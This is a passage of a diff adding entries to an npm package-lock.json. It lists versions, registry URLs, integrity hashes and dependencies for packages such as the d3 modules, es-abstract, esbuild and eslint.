"sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/cookie": {+ "version": "1.0.2",+ "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.0.2.tgz",+ "integrity": "sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==",+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/cross-spawn": {+ "version": "7.0.6",+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",+ "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "path-key": "^3.1.0",+ "shebang-command": "^2.0.0",+ "which": "^2.0.1"+ },+ "engines": {+ "node": ">= 8"+ }+ },+ "node_modules/csstype": {+ "version": "3.1.3",+ "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz",+ "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==",+ "license": "MIT"+ },+ "node_modules/d3-array": {+ "version": "3.2.4",+ "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz",+ "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==",+ "dependencies": {+ "internmap": "1 - 2"+ },+ "engines": {+ "node": ">=12"+ }+ },+ "node_modules/d3-color": {+ "version": "3.1.0",+ "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz",+ "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==",+ "engines": {+ "node": ">=12"+ }+ },+ "node_modules/d3-ease": {+ "version": "3.0.1",+ "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz",+ "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==",+ "engines": {+ "node": ">=12"+ }+ },+ "node_modules/d3-format": {+ "version": "3.1.0",+ "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz",+ "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==",+ "engines": {+ "node": ">=12"+ }+ },+ "node_modules/d3-interpolate": {+ "version": "3.0.1",+ "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz",+ "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==",+ "dependencies": {+ "d3-color": "1 - 3"+ },+ "engines": {+ "node": ">=12"+ }+ },+ "node_modules/d3-path": {+ "version": "3.1.0",+ "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz",+ "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==",+ "engines": {+ "node": ">=12"+ }+ },+ "node_modules/d3-scale": {+ "version": "4.0.2",+ "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz",+ "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==",+ "dependencies": {+ "d3-array": "2.10.0 - 3",+ "d3-format": "1 - 3",+ "d3-interpolate": "1.2.0 - 3",+ "d3-time": "2.1.1 - 3",+ "d3-time-format": "2 - 4"+ },+ "engines": {+ "node": ">=12"+ }+ },+ "node_modules/d3-shape": {+ "version": "3.2.0",+ "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz",+ "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==",+ "dependencies": {+ "d3-path": "^3.1.0"+ },+ "engines": {+ "node": ">=12"+ }+ },+ "node_modules/d3-time": {+ "version": "3.1.0",+ "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz",+ "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==",+ "dependencies": {+ "d3-array": "2 - 3"+ },+ "engines": {+ "node": ">=12"+ }+ },+ "node_modules/d3-time-format": {+ "version": "4.1.0",+ "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz",+ "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==",+ "dependencies": {+ "d3-time": "1 - 3"+ },+ "engines": {+ "node": ">=12"+ }+ },+ "node_modules/d3-timer": {+ "version": "3.0.1",+ "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz",+ "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==",+ "engines": {+ "node": ">=12"+ }+ },+ "node_modules/damerau-levenshtein": {+ "version": "1.0.8",+ "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz",+ "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==",+ "dev": true+ },+ "node_modules/data-view-buffer": {+ "version": "1.0.2",+ "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz",+ "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3",+ "es-errors": "^1.3.0",+ "is-data-view": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/data-view-byte-length": {+ "version": "1.0.2",+ "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz",+ "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3",+ "es-errors": "^1.3.0",+ "is-data-view": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/inspect-js"+ }+ },+ "node_modules/data-view-byte-offset": {+ "version": "1.0.1",+ "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz",+ "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.2",+ "es-errors": "^1.3.0",+ "is-data-view": "^1.0.1"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/date-fns": {+ "version": "4.1.0",+ "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-4.1.0.tgz",+ "integrity": "sha512-Ukq0owbQXxa/U3EGtsdVBkR1w7KOQ5gIBqdH2hkvknzZPYvBxb/aa6E8L7tmjFtkwZBu3UXBbjIgPo/Ez4xaNg==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/kossnocorp"+ }+ },+ "node_modules/debug": {+ "version": "4.4.3",+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",+ "license": "MIT",+ "dependencies": {+ "ms": "^2.1.3"+ },+ "engines": {+ "node": ">=6.0"+ },+ "peerDependenciesMeta": {+ "supports-color": {+ "optional": true+ }+ }+ },+ "node_modules/decimal.js-light": {+ "version": "2.5.1",+ "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz",+ "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg=="+ },+ "node_modules/decode-named-character-reference": {+ "version": "1.2.0",+ "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.2.0.tgz",+ "integrity": "sha512-c6fcElNV6ShtZXmsgNgFFV5tVX2PaV4g+MOAkb8eXHvn6sryJBrZa9r0zV6+dtTyoCKxtDy5tyQ5ZwQuidtd+Q==",+ "dependencies": {+ "character-entities": "^2.0.0"+ },+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/deep-is": {+ "version": "0.1.4",+ "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",+ "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/define-data-property": {+ "version": "1.1.4",+ "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",+ "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",+ "dev": true,+ "dependencies": {+ "es-define-property": "^1.0.0",+ "es-errors": "^1.3.0",+ "gopd": "^1.0.1"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/define-properties": {+ "version": "1.2.1",+ "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz",+ "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==",+ "dev": true,+ "dependencies": {+ "define-data-property": "^1.0.1",+ "has-property-descriptors": "^1.0.0",+ "object-keys": "^1.1.1"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/delayed-stream": {+ "version": "1.0.0",+ "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",+ "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",+ "engines": {+ "node": ">=0.4.0"+ }+ },+ "node_modules/dequal": {+ "version": "2.0.3",+ "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz",+ "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==",+ "engines": {+ "node": ">=6"+ }+ },+ "node_modules/detect-node-es": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz",+ "integrity": "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ=="+ },+ "node_modules/devlop": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz",+ "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==",+ "dependencies": {+ "dequal": "^2.0.0"+ },+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/doctrine": {+ "version": "2.1.0",+ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",+ "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",+ "dev": true,+ "dependencies": {+ "esutils": "^2.0.2"+ },+ "engines": {+ "node": ">=0.10.0"+ }+ },+ "node_modules/dunder-proto": {+ "version": "1.0.1",+ "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",+ "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",+ "dependencies": {+ "call-bind-apply-helpers": "^1.0.1",+ "es-errors": "^1.3.0",+ "gopd": "^1.2.0"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/electron-to-chromium": {+ "version": "1.5.249",+ "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.249.tgz",+ "integrity": "sha512-5vcfL3BBe++qZ5kuFhD/p8WOM1N9m3nwvJPULJx+4xf2usSlZFJ0qoNYO2fOX4hi3ocuDcmDobtA+5SFr4OmBg==",+ "dev": true,+ "license": "ISC"+ },+ "node_modules/emoji-regex": {+ "version": "9.2.2",+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",+ "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",+ "dev": true+ },+ "node_modules/engine.io-client": {+ "version": "6.6.3",+ "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-6.6.3.tgz",+ "integrity": "sha512-T0iLjnyNWahNyv/lcjS2y4oE358tVS/SYQNxYXGAJ9/GLgH4VCvOQ/mhTjqU88mLZCQgiG8RIegFHYCdVC+j5w==",+ "dependencies": {+ "@socket.io/component-emitter": "~3.1.0",+ "debug": "~4.3.1",+ "engine.io-parser": "~5.2.1",+ "ws": "~8.17.1",+ "xmlhttprequest-ssl": "~2.1.1"+ }+ },+ "node_modules/engine.io-client/node_modules/debug": {+ "version": "4.3.7",+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",+ "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",+ "dependencies": {+ "ms": "^2.1.3"+ },+ "engines": {+ "node": ">=6.0"+ },+ "peerDependenciesMeta": {+ "supports-color": {+ "optional": true+ }+ }+ },+ "node_modules/engine.io-parser": {+ "version": "5.2.3",+ "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-5.2.3.tgz",+ "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==",+ "engines": {+ "node": ">=10.0.0"+ }+ },+ "node_modules/es-abstract": {+ "version": "1.24.0",+ "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.0.tgz",+ "integrity": "sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==",+ "dev": true,+ "dependencies": {+ "array-buffer-byte-length": "^1.0.2",+ "arraybuffer.prototype.slice": "^1.0.4",+ "available-typed-arrays": "^1.0.7",+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.4",+ "data-view-buffer": "^1.0.2",+ "data-view-byte-length": "^1.0.2",+ "data-view-byte-offset": "^1.0.1",+ "es-define-property": "^1.0.1",+ "es-errors": "^1.3.0",+ "es-object-atoms": "^1.1.1",+ "es-set-tostringtag": "^2.1.0",+ "es-to-primitive": "^1.3.0",+ "function.prototype.name": "^1.1.8",+ "get-intrinsic": "^1.3.0",+ "get-proto": "^1.0.1",+ "get-symbol-description": "^1.1.0",+ "globalthis": "^1.0.4",+ "gopd": "^1.2.0",+ "has-property-descriptors": "^1.0.2",+ "has-proto": "^1.2.0",+ "has-symbols": "^1.1.0",+ "hasown": "^2.0.2",+ "internal-slot": "^1.1.0",+ "is-array-buffer": "^3.0.5",+ "is-callable": "^1.2.7",+ "is-data-view": "^1.0.2",+ "is-negative-zero": "^2.0.3",+ "is-regex": "^1.2.1",+ "is-set": "^2.0.3",+ "is-shared-array-buffer": "^1.0.4",+ "is-string": "^1.1.1",+ "is-typed-array": "^1.1.15",+ "is-weakref": "^1.1.1",+ "math-intrinsics": "^1.1.0",+ "object-inspect": "^1.13.4",+ "object-keys": "^1.1.1",+ "object.assign": "^4.1.7",+ "own-keys": "^1.0.1",+ "regexp.prototype.flags": "^1.5.4",+ "safe-array-concat": "^1.1.3",+ "safe-push-apply": "^1.0.0",+ "safe-regex-test": "^1.1.0",+ "set-proto": "^1.0.0",+ "stop-iteration-iterator": "^1.1.0",+ "string.prototype.trim": "^1.2.10",+ "string.prototype.trimend": "^1.0.9",+ "string.prototype.trimstart": "^1.0.8",+ "typed-array-buffer": "^1.0.3",+ "typed-array-byte-length": "^1.0.3",+ "typed-array-byte-offset": "^1.0.4",+ "typed-array-length": "^1.0.7",+ "unbox-primitive": "^1.1.0",+ "which-typed-array": "^1.1.19"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/es-define-property": {+ "version": "1.0.1",+ "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",+ "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/es-errors": {+ "version": "1.3.0",+ "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",+ "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/es-iterator-helpers": {+ "version": "1.2.1",+ "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.2.1.tgz",+ "integrity": "sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.3",+ "define-properties": "^1.2.1",+ "es-abstract": "^1.23.6",+ "es-errors": "^1.3.0",+ "es-set-tostringtag": "^2.0.3",+ "function-bind": "^1.1.2",+ "get-intrinsic": "^1.2.6",+ "globalthis": "^1.0.4",+ "gopd": "^1.2.0",+ "has-property-descriptors": "^1.0.2",+ "has-proto": "^1.2.0",+ "has-symbols": "^1.1.0",+ "internal-slot": "^1.1.0",+ "iterator.prototype": "^1.1.4",+ "safe-array-concat": "^1.1.3"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/es-object-atoms": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",+ "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==",+ "dependencies": {+ "es-errors": "^1.3.0"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/es-set-tostringtag": {+ "version": "2.1.0",+ "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz",+ "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==",+ "dependencies": {+ "es-errors": "^1.3.0",+ "get-intrinsic": "^1.2.6",+ "has-tostringtag": "^1.0.2",+ "hasown": "^2.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/es-shim-unscopables": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz",+ "integrity": "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==",+ "dev": true,+ "dependencies": {+ "hasown": "^2.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/es-to-primitive": {+ "version": "1.3.0",+ "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz",+ "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==",+ "dev": true,+ "dependencies": {+ "is-callable": "^1.2.7",+ "is-date-object": "^1.0.5",+ "is-symbol": "^1.0.4"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/es-toolkit": {+ "version": "1.41.0",+ "resolved": "https://registry.npmjs.org/es-toolkit/-/es-toolkit-1.41.0.tgz",+ "integrity": "sha512-bDd3oRmbVgqZCJS6WmeQieOrzpl3URcWBUVDXxOELlUW2FuW+0glPOz1n0KnRie+PdyvUZcXz2sOn00c6pPRIA=="+ },+ "node_modules/esbuild": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",+ "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==",+ "dev": true,+ "hasInstallScript": true,+ "license": "MIT",+ "bin": {+ "esbuild": "bin/esbuild"+ },+ "engines": {+ "node": ">=18"+ },+ "optionalDependencies": {+ "@esbuild/aix-ppc64": "0.25.12",+ "@esbuild/android-arm": "0.25.12",+ "@esbuild/android-arm64": "0.25.12",+ "@esbuild/android-x64": "0.25.12",+ "@esbuild/darwin-arm64": "0.25.12",+ "@esbuild/darwin-x64": "0.25.12",+ "@esbuild/freebsd-arm64": "0.25.12",+ "@esbuild/freebsd-x64": "0.25.12",+ "@esbuild/linux-arm": "0.25.12",+ "@esbuild/linux-arm64": "0.25.12",+ "@esbuild/linux-ia32": "0.25.12",+ "@esbuild/linux-loong64": "0.25.12",+ "@esbuild/linux-mips64el": "0.25.12",+ "@esbuild/linux-ppc64": "0.25.12",+ "@esbuild/linux-riscv64": "0.25.12",+ "@esbuild/linux-s390x": "0.25.12",+ "@esbuild/linux-x64": "0.25.12",+ "@esbuild/netbsd-arm64": "0.25.12",+ "@esbuild/netbsd-x64": "0.25.12",+ "@esbuild/openbsd-arm64": "0.25.12",+ "@esbuild/openbsd-x64": "0.25.12",+ "@esbuild/openharmony-arm64": "0.25.12",+ "@esbuild/sunos-x64": "0.25.12",+ "@esbuild/win32-arm64": "0.25.12",+ "@esbuild/win32-ia32": "0.25.12",+ "@esbuild/win32-x64": "0.25.12"+ }+ },+ "node_modules/escalade": {+ "version": "3.2.0",+ "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",+ "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=6"+ }+ },+ "node_modules/escape-string-regexp": {+ "version": "4.0.0",+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",+ "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=10"+ },+ "funding": {+ "url": "https://github.com/sponsors/sindresorhus"+ }+ },+ "node_modules/eslint": {+ "version": "9.39.1",+ "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.1.tgz",+ "integrity": "sha512-BhHmn2yNOFA9H9JmmIVKJmd288g9hrVRDkdoIgRCRuSySRUHH7r/DI6aAXW9T1WwUuY3DFgrcaqB+deURBLR5g==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@eslint-community/eslint-utils": "^4.8.0",+ "@eslint-community/regexpp": "^4.12.1",+ "@eslint/config-array": "^0.21.1",+ "@eslint/config-helpers": "^0.4.2",+ "@eslint/core": "^0.17.0",+ "@eslint/eslintrc": "^3.3.1",+ "@eslint/js": "9.39.1",+ "@eslint/plugin-kit": "^0.4.1",+ "@humanfs/node": "^0.16.6",+ "@humanwhocodes/module-importer": "^1.0.1",+ "@humanwhocodes/retry": "^0.4.2",+ "@types/estree": "^1.0.6",+ "ajv": "^6.12.4",+ "chalk": "^4.0.0",+ "cross-spawn": "^7.0.6",+ "debug": "^4.3.2",+ "escape-string-regexp": "^4.0.0",+ "eslint-scope": "^8.4.0",+ "eslint-visitor-keys": "^4.2.1",+ "espree": "^10.4.0",+ "esquery": "^1.5.0",+ "esutils": "^2.0.2",+ "fast-deep-equal": "^3.1.3",+ "file-entry-cache": "^8.0.0",+ "find-up": "^5.0.0",+ "glob-parent": "^6.0.2",+ "ignore": "^5.2.0",+ "imurmurhash": "^0.1.4",+ "is-glob": "^4.0.0",+ "json-stable-stringify-without-jsonify": "^1.0.1",+ "lodash.merge": "^4.6.2",+ "minimatch": "^3.1.2",+ "natural-compare": "^1.4.0",+ "optionator": "^0.9.3"+ },+ "bin": {+ "eslint": "bin/eslint.js"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "url": "https://eslint.org/donate"+ },+ "peerDependencies": {+ "jiti": "*"+ },+ "peerDependenciesMeta": {+ "jiti": {+ "optional": true+ }+ }+ },+ "node_modules/eslint-config-prettier": {+ "version": "10.1.8",+ "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-10.1.8.tgz",+ "integrity": "sha512-82GZUjRS0p/jganf6q1rEO25VSoHH0hKPCTrgillPjdI/3bgBhAE1QzHrHTizjpRvy6pGAvKjDJtk2pF9NDq8w==",+ "dev": true,+ "bin": {+ "eslint-config-prettier": "bin/cli.js"+ },+ "funding": {+ "url": "https://opencollective.com/eslint-config-prettier"+ },+ "peerDependencies": {+ "eslint": ">=7.0.0"+ }+ },+ "node_modules/eslint-plugin-jsx-a11y": {+ "version": "6.10.2",+ "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz",+ "integrity": "sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==",+ "dev": true,+ "dependencies": {+ "aria-query": "^5.3.2",+ "array-includes": "^3.1.8",+ "array.prototype.flatmap": "^1.3.2",+ "ast-types-flow": "^0.0.8",+ "axe-core": "^4.10.0",+ "axobject-query": "^4.1.0",+ "damerau-levenshtein": "^1.0.8",+ "emoji-regex": "^9.2.2",+ "hasown": "^2.0.2",+ "jsx-ast-utils": "^3.3.5",+ "language-tags": "^1.0.9",+ "minimatch": "^3.1.2",+ "object.fromentries": "^2.0.8",+ "safe-regex-test": "^1.0.3",+ "string.prototype.includes": "^2.0.1"+ },+ "engines": {+ "node": ">=4.0"+ },+ "peerDependencies": {+ "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9"+ }+ },+ "node_modules/eslint-plugin-react": {+ "version": "7.37.5",+ "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.37.5.tgz",+ "integrity": "sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==",+ "dev": true,+ "dependencies": {+ "array-includes": "^3.1.8",+ "array.prototype.findlast": "^1.2.5",+ "array.prototype.flatmap": "^1.3.3",+ 